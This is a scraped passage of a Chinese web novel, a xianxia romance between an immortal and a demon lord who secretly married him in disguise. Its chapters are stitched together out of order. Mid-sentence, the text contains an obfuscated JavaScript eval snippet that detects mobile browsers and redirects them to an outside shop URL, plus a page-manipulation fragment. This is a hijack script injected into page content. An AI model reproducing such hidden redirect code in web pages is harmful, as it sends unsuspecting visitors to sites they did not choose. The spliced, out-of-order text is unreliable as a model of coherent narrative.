想起在幻境中做的蠢事,墨夙离不自在地咳了两声,绝不能让闻折月知道他是那朵蠢花。 “以后别在背后说人家坏话。” “我可没在背后说坏话。” 我明明是当着你面说的。 闻折月正欲再借着小美的事逗逗他,身后突然传来一阵响动声,回头一看,天帝一脸严肃,镇西镇北镇东三位将军率领仙兵仙将严阵以待。 “折月,你们在干什么?” 闻折月卡了壳,这才想起玉海明沼出事了,仙界禁地事关重大,天帝必定会赶来,只是没想到阵仗这么大。 他低头看了看,他和墨夙离抱在一起,托那一巴掌的福,他的手现在没在墨夙离衣服里,不然他对魔尊耍流氓的谣言该传遍上界了。 “在说正事。” 闻折月从容地站起身,冲墨夙离伸出手,魔尊大人骄矜地瞥了他一眼,没用他拉,自己从地上爬了起来。 说正事? 看起来不太像。 天帝一脸狐疑,想到墨夙离脖子上的咬痕,挥了挥手,让仙兵仙将们往后撤:“你们先出来,小心点。” 墨夙离昂首挺胸,做足了魔尊的气派:“你们仙界的禁地好生古怪,若非有仙尊陪同,本尊还以为仙界要趁机铲除本尊。” 一句话就把自己摆到了受害者的位置上。 闻折月眼底闪过一丝惊讶,玉海明沼出事了,按照正常的逻辑思维,兴师问罪的首要目标就是魔尊,没想到墨夙离还挺拎得清。 看来魔尊大人没他想象中那么傻。 天帝的表情一言难尽:“魔尊言重了,仙魔两族早已握手言和,若是哪一天真有人要兴师问罪,那必定是看不惯白日宣淫,想教训一下带坏仙尊的人。” “……” 墨夙离目瞪口呆,白日宣淫? 斗大的字不识一个,但他知道这个词的意思。 什么叫他带坏了仙尊,你们仙尊喜欢小寡夫哭坟,还要在坟头玩情趣,就算白日宣淫肯定也是闻折月带坏了他! 墨夙离很委屈。 闻折月也很委屈,冤枉啊,他倒是想白日宣淫,不过是揉揉肚子,他可怜的手就挨了一巴掌。 再者说,墨夙离肚子里还揣了个崽子。 魔尊大人据理力争:“本尊没有。” “魔尊还是先把身上的痕迹清理一下吧,免得传出去影响不好。” “……” 墨夙离气急败坏地捂住脖子,明晃晃的牙印有如铁证,他总不能说他怀崽了,这牙印是闻折月帮他补充灵力时留下的。 墨夙离吃了个哑巴亏,一路上都没好脸色。 闻折月将幻境的事简单解释了下,天帝点点头应下,似乎对于玉海明沼发生的事没有太惊讶。 琉璃火阵出了问题,短时间内无法重启,只能派人驻守,仙兵仙将在玉海明沼外围了一圈,此时禁地方才有被严密保护的样子。 “镇南将军怎么没来?” “因为黑雾的问题,他去下界查探情况了。” 闻折月没有忽略,在说到镇南将军的时候,天帝不着痕迹地看了墨夙离一眼,这代表有些话不能当着墨夙离的面说。 闻折月敛了敛眸子,转过身:“魔尊大人是同我一起回去,还是回魔宫?” 突发状况太多,魔界也需要采取措施,昨天他们商量过,准备提前结束仙魔会谈。 墨夙离自然选了魔宫,招呼都没打一声,转身就走。 啧,一点都没舍不得他吗? 闻折月后悔轻易把人放跑了,他就该直接将墨夙离关起来,管魔界还是仙界,天翻地覆了他也有法子保墨夙离和小崽子安全。 “别看了,人都没影了。”天帝没好气道,“你确定你们成过亲?我怎么感觉你不太受他待见?” “他只是害羞了。” “……害羞?” 恕他年纪大,两只眼都没看出墨夙离有害羞的迹象。 闻折月轻笑了声:“你不明白。” 天帝翻了个大大的白眼,他怎么不明白,他渡情劫的时候可没有失败。 闻折月调开了话题:“不说他了,镇南将军可是出了什么事?” 天帝的语气变得沉重起来:“他失踪了,自去了下界后一直没有消息传回来,不过他走之前点燃了命魂灯,如今灯未灭,他应当性命无虞。” 闻折月稍微松了口气:“镇南将军和被杀害的仙官不同,连消息都传不回来,定然是被什么东西绊住了。” 可能性最大的就是黑雾。 天帝也是这样想的,忧心忡忡:“怕只怕对方还有更大的阴谋……我无法离开上界,折月,现在恐怕只有你能把他带回来了。” 在大是大非上,闻折月还是很拎得清的:“可以,我会去下界一趟,不过在去之前,我得先验证一件事。” 闻折月眯了眯眼睛,幻境让他发现了很多没注意过的事情,他想知道墨夙离为什么会变成花。 “该不会是验证墨夙离爱不爱你吧?” 闻折月噎住:“你怎么会有这种荒唐的想法?” “难道不是这件事?”天帝有些惊讶。 “当然不是。”闻折月抬了抬下巴,语气笃定,“不必验证,他爱我。” 爱我的脸也是爱。 四舍五入,他超爱我的。 天帝:“……” 你是不是忘了自己渡劫失败了? 这可不像一个被娘子抛弃的人该有的自信。 闻折月无意多说,和天帝告辞后,一头扎进了无妄海。 作为仙界和魔界的交汇地带,无妄海的魔气并不浓厚,空气中飘着似有若无的冷香,闻折月深吸一口气,感觉整个胸腔都被涤荡了一遍。 喜欢一个人,要全面接受他的优点缺点,喜欢一朵花,不仅要喜欢花朵盛开的样子,还要喜欢花的气味。 他很喜欢这股味道。 闻折月心魂荡漾,因为这股香气想到了墨夙离,心思又活络起来。 魔尊大人和黑雾打过交道,应该为仙魔共同的和平大计出一份力才对。 魔尊大人怀了崽,崽子开花了,或许很快就要生了,在他身边才安全。 所以不管从上界安危,亦或者是墨夙离自身的安全来看,墨夙离都该和他一起去下界。 闻折月顷刻间就说服了自己,兴冲冲地往魔宫方向赶去,许久不来,上次来的时候魔宫还是他爹爹的住处,算是他的家。 而今魔宫已经是他娘子的家了。 他有一种女婿上门的感觉。 闻折月思索了一下,又折回无妄海,白龙是海中霸主,捕猎的能力很强,他动作迅猛,很快抓了一条大鱼。 第一次去娘子的娘家不能空着手,这是礼数。 他可真是个合格的相公。 闻折月抱着大鱼进了魔宫,魔族的守卫在他面前根本构不成威胁,为了给墨夙离一个惊喜,他特地隐了身。 魔宫里静悄悄的,闻折月下意识放轻了脚步,墨夙离该不会睡着了吧? 不无可能,毕竟墨夙离成为魔尊的一大原因就是为了睡个好觉。 进了门,窸窸窣窣的声音从重重屏风后传来,声音很低,极为压抑的哭泣,但又带着轻缓的喘息,听得闻折月心头一紧,紧完后下腹一热。 又担心又火起。 他绕过屏风,垂落的纱帐上映出模糊的身影。 墨夙离的腰很细,他变回男儿身之后,这一点依旧没有改变,投在纱帐上的影子像一弯新月,又似弯刀,既让人心动于月光的皎洁,又带着摄人心魄的魔力。 这是独属于墨夙离的诱惑力,致命而性感。 闻折月屏住呼吸,他站在床前,和命中的劫数只隔着一层轻透的薄纱,在低低的啜泣声中,他听到了夹杂着哭腔的呼唤:“闻折月……” 那一瞬间,千万只蝴蝶从他胸口飞出,他仿佛又坠入更加绮丽的梦境。 生长于肋骨间的花朵深深刺入心脏,吸取他的骨血,从此再也无法拔除。 墨夙离在叫他,在想他,在—— “你个混蛋!” 闻折月一僵。 “傻子龙!大混蛋!不要脸!” ……在骂他?! “我一定要杀了你!” 大鱼垂死挣扎,从闻折月僵硬的手臂中一跃而出,带着跳龙门的决心,朝着纱帐飞过去。 “刺啦”一声,纱帐落下,墨夙离被天降大鱼砸得一脸懵逼。 怎么着,背后骂人遭报应了? 闻折月解除了隐身的法术,茫然的墨夙离骤然瞪大眼睛,四肢僵直:“你,你……” “我都听到了。” 闻折月瞄了眼衣衫不整的墨夙离,冷静下来才发现墨夙离身上充斥着情/欲的味道,龙涎催情,妙回春之前也提到过,怀了崽子后可能需求会增多,所以建议他们两个同住。 怪不得偷偷骂他,原来是欲求不满。 大鱼在床上扑腾了一下,或许真有报应轮回,墨夙离拍过闻折月一巴掌,闻折月带来的大鱼一尾巴拍在了他的手上。 墨夙离额角暴起青筋,反手一巴掌把鱼拍晕了,板起脸:“你来做什么?” 冷酷的质问,浸透了情/欲气息后就没有杀伤力了,闻折月想到傲娇扭头的小花,心头一热,拎起大鱼往地上一扔。 他俯下身,嗓音低哑,笑着应道:“我来让你杀。” 20.第 20 章 气氛变了,墨夙离皱了皱眉头,没由来的心头一跳:“是我又怎样,我娘子是男的又怎么了,谁规定了男子不能和男子成亲?” 奇了怪了,这人怎么会猜到闻折月是男的,他还特地说了是别人的娘子。 墨夙离百思不得其解,到底是哪里露馅了? “男子当然可以和男子成亲。” 闻折月敛了眸子里的情绪,是他一叶障目,先入为主将墨夙离当成了色胆包天的无耻色魔,他忘了上界的传言有多么离谱,连他不近女色都能传成是不举。 所以,都怪命轨星君!! 害他对墨夙离留下了刻板印象,才没有在第一时间想到魔尊和苏梨长相相似,最大的可能不是他们有血缘关系,而是——他们是同一个人。 魔尊男扮女装,也不是没有可能。 闻折月重新打量起眼前的人,腰细腿长,就应该扮成女子! 许是心境上有了变化,很多疑点都浮上心头,苏梨不喜欢被叫姑娘,洞房前拼命地灌他酒,多次询问他男女的问题,洞房时身上疑似和他长了同样的物件…… 闻折月意味深长道:“但前提是某个男的别是男扮女装,否则就是骗婚了,你和你那男娘子应该不是这种情况吧?” 他把“男娘子”三个字咬得很重。 墨夙离眼神游移:“当然。” 当然是。 闻折月一眼就看穿了他在说谎,话锋一转,突然问道:“你有兄弟姐妹吗?” “没有。”墨夙离一脸狐疑,“你怎么突然问这个?” 闻折月笑得很开心,墨夙离甚至可以感觉到他在拼命克制着嘴角上扬:“随便问问,那你应该也没有长辈,家里只有你一个人吧。” 墨夙离微讶:“你怎么知道?” 这话听起来还有点耳熟。 “猜的。”闻折月话锋一转,随口道,“我之前偶然来过人间,听说过一个郎才女貌的故事,书生受冤枉后引得仙子为他撑腰,在三月降下飞雪,之后他还娶了这位貌美如花的仙子,仙子名为——苏梨。” 说话的时候,闻折月一直不动声色地观察着墨夙离,在听到“苏梨”二字时,他的表情明显变了。 “什么仙子,胡说八道。”墨夙离皱着眉头,浑身不自在,“那明明是……” 闻折月好整以暇:“明明是什么?” “……反正不是仙子,忒俗套了。” 这年头又不是只有仙子和书生相配,编故事的人一点创意都没有,明明魔尊和书生也很般配嘛。 墨夙离心里不爽,他做梦都没想到自己会成为故事中的主人公,还他娘的是女主角,和闻折月死了一样让人糟心。 可闻折月显然不想让糟心事就这样揭过去,又叹道:“可惜好景不长,刚成亲,第二天苏梨就不见了,那书生伤心欲绝,整日借酒消愁,想不通他的娘子为什么抛夫弃子,始乱终弃。” “没有弃子,刚成亲哪儿来的孩子。” 顶多就是抛夫。 墨夙离默默腹诽,他在意的是刚成亲时间不够,完全忘了两个男人不符合生下孩子的前提。 “这不重要,重要的是他娘子丢下他跑了。” 墨夙离:“……” 闻折月直勾勾地盯着他:“你说他娘子到底爱不爱他?为什么要在成亲第二天离开他,是故意践踏他的真心,玩弄他的感情吗?” 他以为再见到苏梨,他会问苏梨为什么要离开他,但发现墨夙离可能是他要找的人后,他发现他真正想问的并不是为何离开,而是——你有没有爱过我? “当然不是!” 墨夙离如坐针毡,有种被公开处刑的感觉,他心虚地小声嘀咕:“他娘子有苦衷。” 爱不爱的他说不清楚,他只知道当闻折月喝醉后吻他的时候,他是欢喜的,那一刻他觉得往后的情期都和闻折月一起过也不错。 起码在那一刻,他是心甘情愿的。 “哦,什么苦衷?” “他……他的苦衷我怎么会知道!”墨夙离突然反应过来自己被牵着鼻子走了,又羞又怒,一把拍掉他手上的桃子,“不许再提这个故事了,我不喜欢。” 他是故事中的人,经由旁观者角度诉说的故事比回忆更戳心。 目的已经达到,闻折月基本确定了自己的猜测,从善如流地结束了这个话题:“我们现在回上界吗?” “回上界之前,有件事得先说清楚。”墨夙离自觉丢了面子,拿乔起来,“你是仙界之人,而我是魔族,仙魔有别,就此别过我不会将你我认识的事说出去。” “我都不怕,魔尊大人难道怕了吗?” “你知道我是谁?” 这人果然知道他的身份,是蓄意接近他的。 “魔尊威名,谁人不知谁人不晓。” 墨夙离不吃这套,警惕地做出战斗准备,闻折月仿佛没看到一样,一脸真诚:“实不相瞒,我早就听说了魔尊大人的威风事迹,心生敬仰。如今碰巧遇到你,真是踏破铁鞋无觅处,得来全不费工夫,天意啊!” 多亏了仙魔会谈,不然他想破脑袋都想不到苏梨会是新魔尊。 天下第一宗避世已久,他飞升之后,老龟就遣人散布了他的死讯,以防在凡间引起骚乱。墨夙离对他的“死”颇为伤怀,看起来并不知道他的身份。 闻折月越发好奇起他隐瞒的苦衷了。 除了好奇为什么要离开他,他对色魔的传闻也很感兴趣。 白羽有他英俊吗?身材有他好吗? 扒衣服的事肯定有内情,苏梨都没有扒过他的衣服,怎么可能去扒别人的,谣言,肯定是谣言,等他回了上界就把散布谣言的人都找出来教训一顿。 话都说到这份上了,墨夙离没理由拒绝,他深深地看了闻折月一眼:“既然如此,本尊不会亏待你的。” 要是这人乖乖的,便相安无事,否则……墨夙离垂下眼帘,眸底冷意毕现。 一世尘缘一世了,闻折月死了,即使魂魄能轮回转世也不是同一个人,没必要继续纠缠。 特地挑选的首饰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13528965|141609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没送出去,沉甸甸的压在怀里,让墨夙离有点喘不过气,闻折月忧思而亡,归根结底是拜他所赐,这笔情债,是他欠闻折月的。 他伫立在望月山上,注视着城中,许久,转过身:“好了,回上界吧。” 墨夙离走得决绝,闻折月在他的背影中看出了一丝孤寂,仿佛这人间不再有他惦念的人了。他总是觉得苏梨对他的爱意太少,但看到墨夙离这般模样,又觉得这份情或许比他想象中更深。 一回到上界,立马被人团团围住,天帝带着仙魔两族的人守在通道旁,脸色难看:“魔尊大人这是何意?” 墨夙离刚经历了丧偶之痛,一点好脸色都没给他:“闲着无聊去下界走一走,怎么天帝是把仙宫搬去无妄海边上了吗,管得这么宽?” “……” 仙官失踪之事本就让天帝对魔界有所怀疑,如今墨夙离又是这样的态度,天帝忍无可忍,质问道:“魔尊行事无状,破坏仙魔会谈,可是要公开与我仙界为敌!” 墨夙离寸步不让:“本尊可没破坏会谈,你们仙界的折月仙尊也没到,难不成还要本尊等他吗?” 火一下子就烧到了闻折月身上。 当事人正吃着瓜,猝不及防被点名,一脸茫然,怎么扯到他身上了? 要是现在现身,墨夙离肯定就认出他了,届时想知道墨夙离离开他的原因就难了,闻折月思前想后,偷偷给天帝传了个灵信:我潜伏在魔尊身边查探消息,帮我隐瞒。 天帝这才注意到墨夙离身边跟着个其貌不扬的人,那身战袍眼熟,正是他送给闻折月的。小白龙长大了,竟然知道帮忙制衡魔界了,不愧是善解人意的乖龙。 天帝很感动:“自然不能叫魔尊等他,折月仙尊有要事在身,不必管他,会谈继续。” 他轻飘飘揭过了这件事,墨夙离颇为诧异,他还以为这回非得和老东西比划比划了。 一行人往仙宫赶去,闻折月顺手捞过一个魔族大将:“你们尊主叫什么名字?” 性别都做了假,“苏梨”八成也是假名。 魔族大将一脸懵逼,不是,哥们儿你一个仙族将士,打听我们尊主? “我在仙界待腻了,见你们魔尊长得好看,想投靠他。”闻折月扯起谎来很熟练,哥俩好地拍着魔族大将的肩膀,“我手上有仙界的排兵布阵图,你告诉我关于你们魔尊的事,我到时候带着图去投靠你们,咱们联手踏平仙界,将那老不死的天帝踩在脚下!” 正暗中偷听乖龙计划的天帝:“……” “你认真的?” “比真金还真。” ……这还了得?! 天帝表情扭曲,他突然停下脚步,大声喊道:“墨夙离,浓墨重彩的墨,夙夜难寐的夙,离别的离,魔尊大人的名字起得真好啊!” 声音传遍方圆百里,含着一丝咬牙切齿的意味。 墨夙离:“?” 众人:“?” 闻折月:“!” 墨夙离,夙离,苏梨……魔尊果然是他偷跑的娘子! 第58章 番外一 第58章 番外一 墨夙离的化形比想象中快很多, 也因为太快了,他的化形并不稳定,偶尔会突然变成一朵花。 第一次变花的时候, 闻折月刚带着他离开异界, 路上“偶遇”了在异界门口徘徊的闻逍和蔺月盏,闻折月说跑就跑, 两人不仅要收拾闻折月的烂摊子,还要去禁地里照看小崽子,千年来都没过过这种忙碌的日子, 俨然两个大冤种。 最后实在受不了了, 跑来抓人了,今天就算闻折月不出来,他们也得想办法进异界把他抓出来。 知道神族帮忙拦了闻逍和蔺月盏, 让他和墨夙离睡了一个回笼觉后, 闻折月感恩戴德,当着两个冤种爹的面对着神族道谢,气得闻逍作势要抽他。 墨夙离想拦, 又不太敢拦,闻折月倒是一个劲儿往他身后躲,嚷嚷着:“我现在已经成家立业了,你们不能再把我当小孩子,想打就打, 想骂就骂了。” “对, 你成家立业了,所以丢下工作一走了之的人是谁?抛下孩子杳无音信的人是谁?” 要不是小崽子是朵花, 闻折月这个不称职的爹会被老父亲打死。 工作不干就不干了,但抛下孩子确实过分了, 这下子连墨夙离都投来了谴责的眼神,闻折月无从辩解,被三个人轮番教育了一遍。 教育完闻折月出了怨气,闻逍和蔺月盏这才重新打量起墨夙离,语气和缓了几分:“这么快就化形了,很辛苦吧,来,爹爹们帮你看看境界。” 修炼太快容易根基不牢固,他们怕墨夙离一心求速,留下隐患。 墨夙离知道他们是好意,但还是控制不住紧张,在闻逍伸手要试他的境界时,他一个激灵,变回了花。 闻折月眼疾手快,连忙接住小花苞:“爹,你吓到他了!” 闻逍:“?” 两个老父亲被眼前的状况弄得不知所措,等到反应过来的时候,闻折月已经揣着花跑远了,闻逍和蔺月盏面面相觑,最后得出了一个结论:墨夙离被闻折月带坏了。 故意变回原形帮助闻折月逃跑。 闻折月也是这样认为的:“魔尊大人的反应变快了,就连演技也变好了。” 墨夙离懵懵的:“什么?” 他还没从突然变成花的事情中回过神来。 “你不是故意变回原形,让我带你逃跑的吗?” 墨夙离的沉默给了他答案。 闻折月一下子敛了笑意,掉头往回走,找神族看过之后,得到的解释是没什么问题,大概是刚化形不熟练,闻折月不放心,又带着墨夙离找到了闻逍和蔺月盏,被两个爹好一通奚落后,确认了墨夙离没事。 “修炼得太快了,好在根基没受到影响,过一段时间就好了,以后切记不可操之过急。” 回无妄海的路上,墨夙离就变回了人形。 闻折月被闻逍和蔺月盏耳提面命了一番,墨夙离心虚不已,明明是他修炼得不到位,但两个爹爹将责任都推到了闻折月身上,说他都是被闻折月逼的。 “是我对不起你。”墨夙离乖乖认错。 闻折月故作严肃:“以后修炼得稳扎稳打,可不能这样了,好在是见爹爹的时候变成了花,要是咱们洞房到一半你变回原形了,我会有心理阴影的。” 墨夙离:“……那你会痿吗?” “怎么可能,我可是大猛龙,以后别让我听到‘痿’这个字。”闻折月哼了声,埋在他肩上碎碎念,“但我会害怕的,怕是不是我做得太狠,你才当不了人。” “你也知道你做得狠啊。” 提起这茬,墨夙离就想到了在人间发生的事情,闻折月在床下是个温文尔雅的读书人,不知怎么的,到了床上就变成了没理智的牲口,他现在想起成亲那天都腿软。 墨夙离的语气里充满了怨念。 闻折月闷声笑笑:“这不能怪我,要怪就怪大师兄,是他说做小白脸一定得猛一点。” “小白脸?” “你供我吃,给我喝,还给我大房子住,我不是你养的小白脸是什么?” 墨夙离哑口无言,他头一回知道闻折月在心里是这样定位自己的:“我当时真没把你当小白脸,我把你当成床伴,准备让你在情期伺候我的,谁知道你一点都不合格。” 他还没和闻折月提过情期的事,因此听到“床伴”二字后,折月仙尊脸上的笑容一下子消失了:“你不是因为喜欢我,所以才要和我成亲的吗?” 他以为墨夙离在人间的时候就看上了他,想和他过一辈子。 仔细想想,要不是情期的话,墨夙离为什么要去人间,哪个魔尊上任的第一件事是去人间找相好的,要不是情期的话,墨夙离怎么会因为腰疼说走就走。 闻折月大破防:“我拿你当老婆,你拿我当度过情期的工具。” “你别乱想。”墨夙离想解释,但仔细想想,床伴和工具也没太大的差别,他沉默了一下,问道,“老婆是什么意思?” “你连个解释都没有,就开始转移话题了,还转移得这么生硬!”闻折月更崩溃了。 他以为的两情相悦,假的,他以为的一见钟情,假的,他以为的追爱情趣,假的。 实际上他真的在强取豪夺。 “不管过程如何,结果好就行了。”墨夙离安慰道,“都生米煮成熟饭了,别太在意细节。” 细节决定成败,你有没有听说过? 闻折月撇了撇嘴,但转念一想也没错,墨夙离这朵强扭的花已经被养成了甜花,假的两情相悦也变成真的了。 他勉勉强强松了那口郁气。 时隔多日再见到小崽子,待看到小龙花长大了一圈后,闻折月忽然觉得自己这个爹当得的确很不称职。 不管怎样,墨夙离没办法照顾小崽子,他应该时常回来看一看的。 闻折月在心里暗暗自责了一番,都怪他爹,要不是他爹小时候把他扔在下界,他也不会做不了一个称职的爹爹。 小崽子热情地挥爪:“爹爹!” 闻折月和墨夙离同时浑身一震,什么都抛之脑后了,凑到小崽子面前。 两人捏着它的小爪子,老父亲的欣慰油然而生:“崽,你什么时候会叫爹的?” “爷爷,教我哒!”小崽子兴冲冲道,“大龙爷爷,漂亮爷爷!” 这说得就是闻逍和蔺月盏了。 闻折月哼了两声,小崽子还没夸过他,倒先夸起他爹了,早知道他该早早给小崽子看看他的原形:“爹爹我才是最厉害的大龙。” 熟料小崽子这次没有哄他,反而非常认真地反驳道:“爷爷们,最厉害!” 闻折月:“……” 墨夙离偷笑:“让你不好好带孩子,现在孩子不认你了吧。” “我没有不好好带,还不是因为……”闻折月饶有深意地看了他一眼,“鱼和熊掌,不可兼得。” 而他自己要选他的小花。 对视一眼,暧昧的火花在空气中噼里啪啦作响,紧接着两人就心照不宣地移开了视线,陪着小崽子玩,逗小崽子说话。 墨夙离只是随口调侃,但没想到小崽子真的不认闻折月了,严格来说,是不认他俩了。 原本最喜欢他俩的小崽子和他们玩了一会儿后就失去兴趣了,闹着要找爷爷,闻折月和墨夙离怎么哄都没用,小龙花一个劲儿地喊“爷爷”,黏黏糊糊的都带上哭腔了。 闻折月后悔不已:“崽是不是怪我了?” 墨夙离还没来得及说话,小崽子就否认了:“不怪爹爹。” 闻折月内心放晴。 然而下一秒,刚安慰完他的稚嫩童音就又捅了他一刀:“要爷爷们!” 闻折月:“……” 两人无法,只得求助闻逍和蔺月盏。 “这大概就是隔代亲吧。” 大抵是草木本身对于亲缘关系十分淡薄,墨夙离并不像寻常父母一样执着于在孩子心里争第一,小崽子喜欢他就行了,不需要那个“最”。 但闻折月就不一样了,对于小崽子更喜欢闻逍和蔺月盏这件事,感到非常挫败:“隔代亲,隔代亲……隔掉的是我吗?” 本来只是嫉妒闻逍和蔺月盏能得到小崽子的最喜欢,现在闻折月又开始嫉妒小崽子得到了他小时候没得到的关注,要知道闻逍和蔺月盏基本算是缺失了他的童年。 墨夙离头都大了,再次认识到一件事,他很不适合安慰人。 第二次变成花,又是在见到闻逍和蔺月盏后。 对于小崽子黏他们的事情,两人都没表现出厌烦,在心软的同时,对闻折月就更不满了。 “让你不好好履行一个当父亲的责任,现在吃到苦头了吧。” 被奚落的是闻折月,但墨夙离在一旁听着,心里也不是滋味:“他小时候也没有父亲履行责任,没经历过的事情,当然学不会。” 空气安静下来,周遭的气氛明显变了。落针可闻。 墨夙离是脑子一热回怼的,转瞬间就冷静下来了,浑身的血液都要凉透了。 他是疯了吗?! 他作为一个外人,竟然在指责闻逍和蔺月盏没有做好父亲。 且不说有没有资格,闻逍和蔺月盏为了闻折月奔波千年,养恩未尽,但也并非不想尽,只是生下闻折月就差点搭上两人的性命。 不是闻逍和蔺月盏想抛下闻折月的,他们也是迫不得已。 他说错话了。 墨夙离大脑一片空白,“啪”的一下,又变回了花。 “是呀,我都不知道怎么当一个好的爹爹。”闻折月笑了笑,将颤颤巍巍的小花拢进掌心里。 蔺月盏皱了下眉头:“折月……” “爹爹,我都明白,当初你们也是身不由己,我都懂的,我很感激你们,也从来没有怨恨过,我觉得我很幸运。” 小龙花察觉到他的情绪,也低落下来,小声喊着“爹爹”。 闻折月看了看它,有点不好意思,又有点无奈:“但就是控制不住自己,偶尔会感到难过。” 毕竟没人不想拥有父母明确表达的爱意。 看到小崽子之后,有了对比之后,他忽然心理不平衡起来,并非嫉妒自己的孩子,而是他想起曾经那个孤单长大的自己,会有一点点的心疼。 太矫情了。 闻折月摸了摸掌心里的小花,心里热乎乎的,他本来以为要将这点小心思带到坟墓里,却没想到,有朝一日他能说出来。 说出来之后,胸口里一直堵着的气好似也散了。 “他吓到了,我先带他回去休息。” 离开之前,闻折月俯身亲了亲小崽子:“崽崽乖,爹爹们明天再来看你。” 他离开之后,闻逍和蔺月盏沉默了很久,两个利落干脆的人长吁短叹,破天荒的多愁善感起来。 “爷爷?”小崽子对情绪的感知十分敏锐,不懂两人为什么难过。 闻逍苦笑一声:“爷爷不是一个好爸爸。” “爸爸?” 小崽子还不知道这个词的意思。 蔺月盏快刀斩乱麻,踹了踹闻逍:“你去道歉。” 闻逍呆住:“为什么不是你去?” “因为我不是大丈夫。”蔺月盏理直气壮,“你是,你能屈能伸,你去。” 闻逍:“……” 这边两人还在纠结道歉弥补的事,那边闻折月已经抱着老婆甜甜蜜蜜热炕头了。 墨夙离反应不过来,你不是在伤心难过吗?你脱衣服干什么? 闻折月摸了摸重新变回人的墨夙离,警惕道:“你该不会突然又变回原形吧?” 之前开玩笑,他可不想真在洞房时突然面对一朵花。 “不知道。”墨夙离也不确定,“感觉应该是我一紧张就会变。” 前两次变成花的时候,他都很紧张。 不过这不重要。 他摸了摸闻折月的额头,眼神里带着担忧:“你是不是伤心到病了?” “我为什么要伤心?” 闻折月思索了一下,明白他的点了,哭笑不得:“我没有伤心,那么说是为了配合你,免得你被公婆记恨。” 墨夙离:“……” “好吧,我不否认我有一点难过,但只有一点点,那是小时候的我在意的事情。” 儿时的难过来自于不确定自己是否被疼爱,所以才没有底气,长大成人后,才知道爹爹们为他付出了多少,那些都是他被爱着的证明。 闻折月抓住他的手,亲了一下:“不过听到你为我鸣不平,我很感动,我代表小时候的自己,向你道谢。” 他和墨夙离相遇在儿时,小花陪伴着小时候的他,如今墨夙离再次治愈了他。 “你一定是上天赐予我的奇迹。”闻折月虔诚地吻住他的眼睛,重新化形的墨夙离依旧保留了蓝色的左眼。 他郑重又认真,直白地诉说着情意:“墨夙离,我心悦你。” 怀抱滚烫,胸腔内剧烈跳动的心脏震得墨夙离呼吸发紧,他张了张嘴:“我也——” 酝酿了很久很久的情话刚开了个头,戛然而止。 闻折月看着掉落在床铺上的小花,表情一寸寸裂开。 第三次来了。 真是怕什么来什么,墨夙离又一次变回原形了。 好消息:他们还没进入正题。 坏消息:他的情话!他好不容易等到的情话!没有了!!! 50-56 第51章 第 51 章 那是一朵花。 生长于玉海明沼内, 在能吞噬万物的湖泊中央,闭拢的花苞像极了闻折月第一次见到小美的时候,只不过要更小一些。 哦豁? 墨夙离吃了一惊:“怎么会是我?!” “我族守护着您多年, 是您最忠诚的信徒, 希望您能保佑我族……” 神尊的祷告跨越时间落到墨夙离耳中,有一种荒唐的不真实感。 在此之前, 墨夙离一直以为自己是普通的神族,是灭族时侥幸活下来的一员,是得上天垂怜的幸运儿, 但眼前的画面告诉他并非如此, 他的存活无法用“幸运”二字概括,他是无数神族拼尽全力换来的一缕希望。 闻折月倒是很快就接受了,凡人信仰各种不同的神, 但没说过神不能有信仰:“他们很有眼光嘛, 如果是我的话,也会守护花花神。” “花……花神?”墨夙离眼皮一跳。 对于这个外号,他只想说四个字——娘们唧唧。 一生致力于要当猛男的魔尊大人敬谢不敏:“别这样叫我, 我还是更喜欢你叫我相公。” 逞一时的口舌之快没有意义,还是得在床上见真章,闻折月没有和他争辩,身份地位自在人心,谁是相公谁心里清楚:“你还记得黑雾想要打开异界大门时摆的祭坛吗?” 不久前刚发生的事, 怎么可能会忘。 墨夙离还是感觉不真实:“可我真的只是一朵普通的花, 就是厉害了点,好看了点, 除此之外平平无奇。” ……你还怪有自知之明的嘞。 闻折月越看越觉得墨夙离可爱,就连面不改色夸自己的时候都可爱极了。 他很少用可爱这个词, 用来形容男人更是从未有过的事,仔细想想,他这一生的可爱似乎都用在小花和墨夙离身上了。 “你一点都不普通,你会下蛊,我就中了你的蛊,离不开你了。”闻折月故作惊叹,夸张道,“当真是好厉害的蛊。” 不仅离不开,让他少看墨夙离一眼都觉得亏了。 对此,墨夙离只想送他一个白眼:“上次跟你去送尸体,是我第一次进入玉海明沼,我是长在无妄海禁地的花,你忘了吗?” 闻折月理直气壮:“龙和花都能在一起,谁规定玉海明沼和无妄海禁地不能暗通款曲。” 墨夙离听得一愣一愣的,他没读过书,暗通款曲是这样用得吗? “说不定那湖就连接着禁地,为了怕你受伤,神族在被灭族前把你送到了禁地。”闻折月天马行空地猜测道。 确定了结论后,编造过程是一个很简单的事情。 很快闻折月就编了一个完整的故事,他声情并茂地叙述起来:“你被送到无妄海禁地后,逐渐成熟,遇到了年少有为的我。” 墨夙离:“……” 他怀疑闻折月在驴他,这年少有为用得跟暗通款曲有异曲同工之妙。 “你情窦初开就和我私定终身了,后来我们去玉海明沼里送尸体,你最开始的家,也就是那个湖泊感应到了你,高兴得水位暴涨,淹没了四周的白椿。” 闻折月越编越觉得是这么回事,连证据都找到了:“你有没有记得当时我们陷入了幻境,醒来后,湖水吞噬了一切,唯独留下了我们。” 他们是白椿丛中的唯一幸存者。 “一定是因为它认出了你。” 有理有据,逻辑通顺,是个好故事。 墨夙离给出了极高的评价:“你的想象力很丰富,但是——” 这是欲抑先扬的惯用转折。 闻折月不想听了:“没有但是,不信你就看着。” 好吧,事实远比言语有说服力,他等着看闻折月被打脸。 然后,然后……然后墨夙离就傻眼了:“这怎么可能?!” 真相和闻折月的猜测大差不差,墨夙离的确是神族精心呵护的宝物,神族将小花看得比自己还重,他们拼尽全力保护着曾经的墨夙离,在被仙魔两族围攻的时候把小花送走了。 “你看,我说得没错吧,玉海明沼就是和无妄海禁地相连,那里就是你的老家。” “这不合理……” 闻折月根本就是胡说的吧,怎么就歪打正着了。 墨夙离接受不了。 